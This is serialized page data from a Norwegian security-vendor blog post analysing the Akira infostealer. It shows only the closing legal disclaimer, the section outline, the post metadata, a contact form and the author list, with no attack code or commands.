om materialet tjener forskning og bevisstgjøring, bærer det i seg en risikoprofil som ikke bør undervurderes.",[533,12778,12779],{},"Bare fagfolk med opplæring, som arbeider i lovlig autoriserte miljøer, for eksempel akkrediterte sikkerhetsteam, SOC-enheter, akademiske forskere eller malware-laber, bør befatte seg med teknikkene eller koden som beskrives. All eksperimentering må holdes innenfor isolerte systemer utenfor produksjon, og være i samsvar med gjeldende lover, interne retningslinjer og etiske standarder.",[533,12781,12782],{},"Vi gir ingen støtte eller validering for gjengitt kode eller atferd. Det finnes ingen garanti for nøyaktighet, relevans eller fullstendighet. Videre avviser vi uttrykkelig all bruk av dette innholdet til offensive formål, uautorisert red teaming, kommersiell malware-utvikling eller angrepstesting utenfor et rettslig definert omfang. Misbruk kan få rettslige følger. glueckkanja AG fraskriver seg alt ansvar for direkte eller indirekte skader som følger av bruk eller feiltolkning av dette innholdet.",[533,12784,12785],{},"Ved å lese videre eller vise til dette innholdet bekrefter du det ovennevnte og samtykker i ikke å misbruke, reprodusere eller anvende noen del av det i ulovlige eller uetiske sammenhenger. Er du i tvil, rådfør deg med juridisk avdeling, compliance eller personvernansvarlig før du går i gang med analyse av levende kode eller tilsvarende teknisk materiale.",[533,12787,12788],{},"Denne publikasjonen leveres \"as is\", uten garanti, støtte eller ansvar.",[12790,12791,12792],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":594,"searchDepth":2062,"depth":2062,"links":12794},[12795,12796,12797,12798,12809,12810,12811,12812,12813,12814,12815,12816,12818,12819,12820,12821,12822,12823,12824,12825,12826,12829,12837,12838,12839,12845,12863,12881,12882,12883,12884,12892,12899,12906,12915,12922,12923,12924,12925,12926,12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937],{"id":716,"depth":2062,"text":717},{"id":766,"depth":2062,"text":767},{"id":787,"depth":2062,"text":788},{"id":843,"depth":2062,"text":844,"children":12799},[12800,12801,12803,12805,12807],{"id":864,"depth":2068,"text":865},{"id":917,"depth":2068,"text":12802},"2.1.2 Updater.exe - Initial loader",{"id":1023,"depth":2068,"text":12804},"2.1.3 main.exe - Obfuskert NodeJS-payloadbeholder",{"id":1142,"depth":2068,"text":12806},"2.1.4 cmd.exe og PowerShell-relé",{"id":1252,"depth":2068,"text":12808},"2.1.5 python.exe med astor.py",{"id":1386,"depth":2062,"text":1387},{"id":1475,"depth":2062,"text":1476},{"id":1553,"depth":2062,"text":1554},{"id":1636,"depth":2062,"text":1637},{"id":1706,"depth":2062,"text":1707},{"id":1786,"depth":2062,"text":1787},{"id":1895,"depth":2062,"text":1896},{"id":2012,"depth":2062,"text":12817},"4.2 AMSI Bypass-teknikk (klasse: gofor4msi)",{"id":2198,"depth":2062,"text":2199},{"id":2317,"depth":2062,"text":2318},{"id":2416,"depth":2062,"text":2417},{"id":2512,"depth":2062,"text":2513},{"id":2587,"depth":2062,"text":2588},{"id":2658,"depth":2062,"text":2659},{"id":2718,"depth":2062,"text":2719},{"id":2858,"depth":2062,"text":2859},{"id":2919,"depth":2062,"text":2920,"children":12827},[12828],{"id":2931,"depth":2068,"text":2932},{"id":3285,"depth":2062,"text":3286,"children":12830},[12831,12832,12833,12834,12835,12836],{"id":3294,"depth":2068,"text":3295},{"id":3408,"depth":2068,"text":3409},{"id":3606,"depth":2068,"text":3607},{"id":3898,"depth":2068,"text":3899},{"id":3973,"depth":2068,"text":3974},{"id":4135,"depth":2068,"text":4136},{"id":4370,"depth":2062,"text":4371},{"id":4416,"depth":2062,"text":4417},{"id":4428,"depth":2062,"text":4429,"children":12840},[12841,12842,12843,12844],{"id":4434,"depth":2068,"text":4435},{"id":4478,"depth":2068,"text":4479},{"id":4540,"depth":2068,"text":4541},{"id":4575,"depth":2068,"text":4576},{"id":4612,"depth":2062,"text":12846,"children":12847},"7.3 Anti-analyse / unnvikelse (klasse: VmProtect)",[12848,12849,12850,12851,12853,12854,12855,12856,12857,12858,12859,12860,12861,12862],{"id":4621,"depth":2068,"text":4622},{"id":4637,"depth":2068,"text":4638},{"id":4678,"depth":2068,"text":4679},{"id":4767,"depth":2068,"text":12852},"7.3.4 VmProtect-arkitektur",{"id":5119,"depth":2068,"text":5120},{"id":5185,"depth":2068,"text":5186},{"id":5254,"depth":2068,"text":5255},{"id":5318,"depth":2068,"text":5319},{"id":5386,"depth":2068,"text":5387},{"id":5443,"depth":2068,"text":5444},{"id":5541,"depth":2068,"text":5542},{"id":5611,"depth":2068,"text":5612},{"id":6067,"depth":2068,"text":6068},{"id":6114,"depth":2068,"text":6115},{"id":6128,"depth":2062,"text":6129,"children":12864},[12865,12866,12868,12870,12872,12874,12876,12878,12880],{"id":6286,"depth":2068,"text":6287},{"id":6394,"depth":2068,"text":12867},"7.4.2 Passorddumper (Chromium.GetPasswords)",{"id":6516,"depth":2068,"text":12869},"7.4.3 Kredittkortdumper (Chromium.GetCreditCards)",{"id":6597,"depth":2068,"text":12871},"7.4.4 Cookie-dumper (Chromium.GetCookies)",{"id":6676,"depth":2068,"text":12873},"7.4.5 Google-sesjonsdumper (Chromium.dump_google_sessions)",{"id":6802,"depth":2068,"text":12875},"7.4.6 Historikkdumper (Chromium.GetHistory)",{"id":6873,"depth":2068,"text":12877},"7.4.7 Autofyll-dumper (Chromium.GetAutofills)",{"id":6935,"depth":2068,"text":12879},"7.4.8 Innsamler for Firefox-profiler (GeckoDriver & grabFirefoxProfiles)",{"id":7012,"depth":2068,"text":7013},{"id":7051,"depth":2062,"text":7052},{"id":7383,"depth":2062,"text":7384},{"id":7497,"depth":2062,"text":7498},{"id":7826,"depth":2062,"text":7827,"children":12885},[12886,12887,12888,12889,12890,12891],{"id":7835,"depth":2068,"text":7836},{"id":7987,"depth":2068,"text":7988},{"id":8093,"depth":2068,"text":8094},{"id":8218,"depth":2068,"text":8219},{"id":8286,"depth":2068,"text":8287},{"id":8411,"depth":2068,"text":8412},{"id":8516,"depth":2062,"text":12893,"children":12894},"7.9. Tyveri av Discord- og Telegram-tokens (klasse: Discord)",[12895,12896,12897,12898],{"id":8529,"depth":2068,"text":8530},{"id":8660,"depth":2068,"text":8661},{"id":8905,"depth":2068,"text":8906},{"id":8987,"depth":2068,"text":8988},{"id":9057,"depth":2062,"text":9058,"children":12900},[12901,12903,12904,12905],{"id":9070,"depth":2068,"text":12902},"7.10.1 Initialisering av Data-klassen",{"id":9167,"depth":2068,"text":9168},{"id":9287,"depth":2068,"text":9288},{"id":9352,"depth":2068,"text":9353},{"id":9429,"depth":2062,"text":12907,"children":12908},"7.11 Filinnsamler (klasse: Utils.steal_files)",[12909,12910,12911,12912,12913,12914],{"id":9441,"depth":2068,"text":9442},{"id":9512,"depth":2068,"text":9513},{"id":9574,"depth":2068,"text":9575},{"id":9607,"depth":2068,"text":9608},{"id":9636,"depth":2068,"text":9637},{"id":9815,"depth":2068,"text":9816},{"id":9925,"depth":2062,"text":9926,"children":12916},[12917,12918,12919,12920,12921],{"id":9934,"depth":2068,"text":9935},{"id":9949,"depth":2068,"text":9950},{"id":10028,"depth":2068,"text":10029},{"id":10177,"depth":2068,"text":10178},{"id":10409,"depth":2068,"text":10410},{"id":10762,"depth":2062,"text":10763},{"id":10793,"depth":2062,"text":10794},{"id":10917,"depth":2062,"text":10918},{"id":11030,"depth":2062,"text":11031},{"id":11081,"depth":2062,"text":11082},{"id":11260,"depth":2062,"text":11261},{"id":11310,"depth":2062,"text":11311},{"id":11354,"depth":2062,"text":11355},{"id":11394,"depth":2062,"text":11395},{"id":11484,"depth":2062,"text":11485},{"id":11501,"depth":2062,"text":11502},{"id":12024,"depth":2062,"text":12025},{"id":12330,"depth":2062,"text":12331},{"id":12451,"depth":2062,"text":12452},{"id":12515,"depth":2062,"text":12516},{"id":12688,"depth":2062,"text":12689},"md","post",{"lang":12941,"seoTitle":12942,"titleClass":12943,"date":12944,"categories":12945,"blogtitlepic":12946,"socialimg":12947,"customExcerpt":12948,"keywords":12949,"maxContent":325,"asideNav":12950,"footer":12999,"contactInContent":13000,"published":325},"no","Akira Stealer: Teknisk analyse av en modulær infostealer","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Det begynte med én enkelt Defender-alert i Microsoft 365. Ingen malware, ingen signaturer, ingen panikk. Bare en hvisking i støyen. Det vi fant, var flere måneder med credential-tyveri, kirurgisk, stille og nesten usynlig. Slik gjorde vårt CSOC et stille signal om til en fullskala respons. Og ga kunden kontrollen tilbake før de selv visste at den var borte.","Microsoft 365 Security, deteksjon av credential-tyveri, Incident Response, Microsoft Defender, Managed Security Services, cloud security, trusseldeteksjon, deteksjon av cyberangrep, CSOC, Advanced Threat Protection",{"menuItems":12951},[12952,12954,12957,12960,12963,12966,12969,12972,12975,12978,12981,12984,12987,12990,12993,12996],{"href":12953,"text":531},"#prolog",{"href":12955,"text":12956},"#_1-opprinnelig-hendelse-og-oppsummert-triage","Opprinnelig hendelse og oppsummert triage",{"href":12958,"text":12959},"#_2-malware-arkitektur-og-oversikt-over-kjøringskjeden","Malware-arkitektur og oversikt over kjøringskjeden",{"href":12961,"text":12962},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12964,"text":12965},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12967,"text":12968},"#_5-deep-dive-mainexe-electron-basert-malware-loader","Deep Dive: main.exe",{"href":12970,"text":12971},"#_6-deep-dive-inputjs-den-krypterte-javascript-payload-loaderen","Deep Dive: input.js",{"href":12973,"text":12974},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12976,"text":12977},"#_8-sirkulær-kjøringskjede-en-selvhelende-løkke","Sirkulær kjøringskjede",{"href":12979,"text":12980},"#_9-blockchain-sporing-og-analyse","Blockchain-sporing og analyse",{"href":12982,"text":12983},"#_10-inne-i-akira-økosystemet-kommersialisert-infrastruktur-for-cyberkriminalitet","Inne i Akira-økosystemet",{"href":12985,"text":12986},"#_11-akira-stealer-quickcheck-berørte-filer","Akira Stealer QuickCheck berørte filer",{"href":12988,"text":12989},"#_12-utover-respons-slik-gjør-glueckkanja-csoc-hendelser-om-til-innsikt","Slik gjør glueckkanja CSOC hendelser om til innsikt",{"href":12991,"text":12992},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":12994,"text":12995},"#_14-tilbakeblikk-på-akira-stealer-hendelsen-styrk-forsvaret-ditt-med-glueckkanja-csoc","Tilbakeblikk på Akira Stealer-hendelsen",{"href":12997,"text":12998},"#_15-sikkerhets-og-juridisk-ansvarsfraskrivelse-bruk-av-reell-malware-kode","Sikkerhets- og juridisk ansvarsfraskrivelse",{"noMargin":325},{"quote":484,"infos":13001},{"bgColor":13002,"color":13003,"boxBgColor":13004,"boxColor":13005,"headline":13006,"subline":13007,"level":714,"textStyling":13008,"flush":13009,"person":13010,"form":13022},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Kontakt oss","Som en ledende Microsoft Security MSSP beskytter vi virksomheter mot cybertrusler hver dag. La oss snakke sammen og styrke cyberforsvaret ditt.","text-light","justify-content-end",{"image":13011,"cloudinary":325,"alt":13012,"name":13012,"detailsHeader":13013,"details":13014},"/people/people-pam-team.png","Project & Account Management","Vi ser fram til å høre fra deg.",[13015,13019],{"text":492,"href":13016,"details":13017,"icon":13018},"tel:+49 69 4005520","Ring nå","site/phone",{"text":493,"href":13020,"icon":13021},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13023,"cta":13024,"method":12939,"action":13026,"fields":13027},"Send inn",{"skin":13025},"primary on-surface","/send",[13028,13032,13036,13039,13043,13048,13051,13054],{"type":13029,"id":13030,"value":13031},"hidden","_next","successful",{"label":13033,"type":593,"id":13034,"required":325,"requiredMsg":13035},"Navn*","name","Vennligst oppgi navnet ditt.",{"label":13037,"type":593,"id":403,"required":325,"requiredMsg":13038},"Bedrift*","Vennligst oppgi bedriften din.",{"label":13040,"type":13041,"id":13041,"required":325,"requiredMsg":13042},"E-postadresse*","email","Vennligst oppgi e-postadressen din.",{"label":13044,"type":13045,"id":13046,"required":325,"requiredMsg":13047},"Dataene dine lagres hos oss for å behandle og svare på henvendelsen din. Mer informasjon om personvern finner du i \u003Ca href=\"/no/privacy\">personvernerklæringen vår\u003C/a>.","checkbox","dataprotection","Vennligst bekreft",{"type":13029,"id":13049,"value":13050},"_subject","Form: Blog MSSP 2025 | NO",{"type":13029,"id":13052,"value":13053},"inbox_key","gkgab-contact-form",{"type":13029,"id":13055},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":521,"description":535},"posts/2025-06-16-quiet-breach",[13060,13061,13062,13063],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","01jMpFBsyPPXsxo0SMLr4RretMB0Bwx4GN7YEL7ngC8",{"id":13066,"extension":13067,"meta":13068,"stem":8,"__hash__":13418},"authors_data/authors.json","json",{"path":13069,"Fritz Zurhorst":13070,"Alexander Schlindwein":13076,"Sophie Luna":13082,"Nadine Klein":13090,"Karsten Kleinschmidt":13096,"Julian Wendt":13104,"Holger Bunkradt":13109,"Ralf Mania":13115,"Oliver Kieselbach":13121,"Steffen Schwerdtfeger":13127,"Gunnar Winter":13135,"Jan Petersen":13140,"Thorsten Kunzi":13145,"Moritz Pohl":13149,"Thorben Pöschus":13154,"Christoph Hannebauer":13160,"Marco Scheel":13164,"Christopher Brumm":13169,"Florian Klante":13176,"Niklas Bachmann":13181,"Nils Krautkrämer":13186,"Patrick Treptau":13192,"Peter Beckendorf":13197,"Patrick Sobau":13202,"Jörg Wunderlich":13207,"Michael Breither":13211,"Christian Kanja":13216,"Zeba Hoffmann":13222,"Jochen Fröhlich":13227,"Jan Geisbauer":13231,"Gerrit Reinke":13243,"Christian Kordel":13249,"Stephan Wälde":13253,"Carolin Kanja":13258,"Adrian Ritter":13264,"Marvin Bangert":13269,"Thorsten Pickhan":13275,"Christian Lorenz":13281,"Denis Böhm":13286,"Fabian Bader":13291,"Juan Jose Fernandez Perez":13297,"Mahschid Sayyar":13302,"Benjamin Dassow":13307,"Markus Walschburger":13312,"Jonathan Haist":13317,"Daniel Rohregger":13322,"Thomas Naunheim":13327,"Florian Stöckl":13332,"Pascal Asch":13337,"Markus Kättner":13341,"Anna Ulbricht":13348,"Annette Brauns":13355,"body":13361,"title":13417},"/authors",{"display_name":13071,"avatar":13072,"permalink":13073,"linkedin":13074,"imageOffsetTop":13075},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13077,"avatar":13078,"permalink":13079,"twitter":13080,"linkedin":13081},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13083,"avatar":13084,"permalink":13085,"twitter":13086,"linkedin":13087,"imageOffsetLeft":13088,"imageOffsetTop":13089},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13091,"avatar":13092,"permalink":13093,"twitter":13094,"linkedin":13095,"imageOffsetTop":13075},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13097,"avatar":13098,"permalink":13099,"twitter":13100,"linkedin":13101,"imageOffsetTop":13102,"imageOffsetLeft":13103},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13105,"avatar":13106,"permalink":13107,"linkedin":13108},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13110,"avatar":13111,"permalink":13112,"linkedin":13113,"twitter":13114},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13116,"avatar":13117,"permalink":13118,"linkedin":13119,"twitter":13120},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13122,"avatar":13123,"permalink":13124,"linkedin":13125,"twitter":13126},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13128,"avatar":13129,"permalink":13130,"linkedin":13131,"twitter":13132,"imageOffsetTop":13133,"imageOffsetLeft":13134},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13136,"avatar":13137,"permalink":13138,"twitter":13086,"linkedin":13139},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13141,"avatar":13142,"permalink":13143,"twitter":13086,"linkedin":13144},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13146,"avatar":13147,"permalink":13148,"twitter":13086,"linkedin":13139,"imageOffsetTop":13075},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13150,"avatar":13151,"permalink":13152,"twitter":13086,"linkedin":13153},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13155,"avatar":13156,"permalink":13157,"twitter":13158,"linkedin":13159},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13161,"avatar":13162,"permalink":13163,"twitter":13086,"linkedin":13139,"imageOffsetTop":13075},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13165,"avatar":13166,"permalink":13167,"twitter":13168,"linkedin":13168},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13170,"avatar":13171,"permalink":13172,"twitter":13173,"linkedin":13174,"imageOffsetTop":13175},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13177,"avatar":13178,"permalink":13179,"linkedin":13180,"twitter":13086},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13182,"avatar":13183,"permalink":13184,"linkedin":13185,"twitter":13086},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13187,"avatar":13188,"permalink":13189,"twitter":13190,"linkedin":13191},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13193,"avatar":13194,"permalink":13195,"linkedin":13196,"twitter":13086},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13198,"avatar":13199,"permalink":13200,"linkedin":13201,"twitter":13086,"imageOffsetTop":13075},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13203,"avatar":13204,"permalink":13205,"linkedin":13206,"twitter":13086},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13208,"avatar":13209,"permalink":13210,"twitter":13086},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13212,"avatar":13213,"permalink":13214,"twitter":13086,"linkedin":13215},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13217,"avatar":13218,"permalink":13219,"twitter":13220,"linkedin":13221},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13223,"avatar":13224,"permalink":13225,"linkedin":13226,"twitter":13086},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13228,"avatar":13229,"permalink":13230,"twitter":13086,"linkedin":13139},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13232,"avatar":13233,"permalink":13234,"twitter":13235,"linkedin":13235,"imageOffsetTop":13075,"socials":13236},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13237,13240],{"text":13238,"href":13239},"Blog","https://emptydc.com",{"text":13241,"href":13242},"Podcast","https://hairlessinthecloud.com",{"display_name":13244,"avatar":13245,"permalink":13246,"twitter":13247,"linkedin":13248},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13086,"linkedin":13139},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13254,"avatar":13255,"permalink":13256,"twitter":13257,"linkedin":13139},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13259,"avatar":13260,"permalink":13261,"twitter":13262,"linkedin":13263},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13265,"avatar":13266,"permalink":13267,"twitter":13268,"linkedin":13268},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13270,"avatar":13271,"permalink":13272,"twitter":13273,"linkedin":13274},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13282,"avatar":13283,"permalink":13284,"linkedin":13285,"twitter":13086},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13287,"avatar":13288,"permalink":13289,"linkedin":13290,"twitter":13086},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13292,"avatar":13293,"permalink":13294,"linkedin":13295,"twitter":13296},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13298,"avatar":13299,"permalink":13300,"linkedin":13301},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13303,"avatar":13304,"permalink":13305,"linkedin":13306},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13308,"avatar":13309,"permalink":13310,"linkedin":13311},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13313,"avatar":13314,"permalink":13315,"linkedin":13316},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13318,"avatar":13319,"permalink":13320,"linkedin":13321,"imageOffsetTop":13075},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13323,"avatar":13324,"permalink":13325,"linkedin":13326,"imageOffsetTop":13075},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13328,"avatar":13329,"permalink":13330,"linkedin":13331,"imageOffsetTop":13175},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13333,"avatar":13334,"permalink":13335,"linkedin":13336,"imageOffsetTop":13175},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":13338,"permalink":13339,"linkedin":13340,"imageOffsetTop":13175},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13342,"avatar":13343,"permalink":13344,"linkedin":13345,"imageOffsetTop":13346,"imageOffsetLeft":13347},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13349,"avatar":13350,"permalink":13351,"linkedin":13352,"imageOffsetTop":13353,"imageOffsetLeft":13354},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13356,"avatar":13357,"permalink":13358,"linkedin":13359,"imageOffsetTop":13360,"imageOffsetLeft":13102},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13362,"Alexander Schlindwein":13363,"Sophie Luna":13364,"Nadine Klein":13365,"Karsten Kleinschmidt":13366,"Julian Wendt":13367,"Holger Bunkradt":13368,"Ralf Mania":13369,"Oliver Kieselbach":13370,"Steffen Schwerdtfeger":13371,"Gunnar Winter":13372,"Jan Petersen":13373,"Thorsten Kunzi":13374,"Moritz Pohl":13375,"Thorben Pöschus":13376,"Christoph Hannebauer":13377,"Marco Scheel":13378,"Christopher Brumm":13379,"Florian Klante":13380,"Niklas Bachmann":13381,"Nils Krautkrämer":13382,"Patrick Treptau":13383,"Peter Beckendorf":13384,"Patrick Sobau":13385,"Jörg Wunderlich":13386,"Michael Breither":13387,"Christian Kanja":13388,"Zeba Hoffmann":13389,"Jochen Fröhlich":13390,"Jan Geisbauer":13391,"Gerrit Reinke":13395,"Christian Kordel":13396,"Stephan Wälde":13397,"Carolin Kanja":13398,"Adrian Ritter":13399,"Marvin Bangert":13400,"Thorsten Pickhan":13401,"Christian Lorenz":13402,"Denis Böhm":13403,"Fabian Bader":13404,"Juan Jose Fernandez Perez":13405,"Mahschid Sayyar":13406,"Benjamin Dassow":13407,"Markus Walschburger":13408,"Jonathan Haist":13409,"Daniel Rohregger":13410,"Thomas Naunheim":13411,"Florian Stöckl":13412,"Pascal Asch":13413,"Markus Kättner":13414,"Anna Ulbricht":13415,"Annette Brauns":13416},{"display_name":13071,"avatar":13072,"permalink":13073,"linkedin":13074,"imageOffsetTop":13075},{"display_name":13077,"avatar":13078,"permalink":13079,"twitter":13080,"linkedin":13081},{"display_name":13083,"avatar":13084,"permalink":13085,"twitter":13086,"linkedin":13087,"imageOffsetLeft":13088,"imageOffsetTop":13089},{"display_name":13091,"avatar":13092,"permalink":13093,"twitter":13094,"linkedin":13095,"imageOffsetTop":13075},{"display_name":13097,"avatar":13098,"permalink":13099,"twitter":13100,"linkedin":13101,"imageOffsetTop":13102,"imageOffsetLeft":13103},{"display_name":13105,"avatar":13106,"permalink":13107,"linkedin":13108},{"display_name":13110,"avatar":13111,"permalink":13112,"linkedin":13113,"twitter":13114},{"display_name":13116,"avatar":13117,"permalink":13118,"linkedin":13119,"twitter":13120},{"display_name":13122,"avatar":13123,"permalink":13124,"linkedin":13125,"twitter":13126},{"display_name":13128,"avatar":13129,"permalink":13130,"linkedin":13131,"twitter":13132,"imageOffsetTop":13133,"imageOffsetLeft":13134},{"display_name":13136,"avatar":13137,"permalink":13138,"twitter":13086,"linkedin":13139},{"display_name":13141,"avatar":13142,"permalink":13143,"twitter":13086,"linkedin":13144},{"display_name":13146,"avatar":13147,"permalink":13148,"twitter":13086,"linkedin":13139,"imageOffsetTop":13075},{"display_name":13150,"avatar":13151,"permalink":13152,"twitter":13086,"linkedin":13153},{"display_name":13155,"avatar":13156,"permalink":13157,"twitter":13158,"linkedin":13159},{"display_name":13161,"avatar":13162,"permalink":13163,"twitter":13086,"linkedin":13139,"imageOffsetTop":13075},{"display_name":13165,"avatar":13166,"permalink":13167,"twitter":13168,"linkedin":13168},{"display_name":13170,"avatar":13171,"permalink":13172,"twitter":13173,"linkedin":13174,"imageOffsetTop":13175},{"display_name":13177,"avatar":13178,"permalink":13179,"linkedin":13180,"twitter":13086},{"display_name":13182,"avatar":13183,"permalink":13184,"linkedin":13185,"twitter":13086},{"display_name":13187,"avatar":13188,"permalink":13189,"twitter":13190,"linkedin":13191},{"display_name":13193,"avatar":13194,"permalink":13195,"linkedin":13196,"twitter":13086},{"display_name":13198,"avatar":13199,"permalink":13200,"linkedin":13201,"twitter":13086,"imageOffsetTop":13075},{"display_name":13203,"avatar":13204,"permalink":13205,"linkedin":13206,"twitter":13086},{"display_name":13208,"avatar":13209,"permalink":13210,"twitter"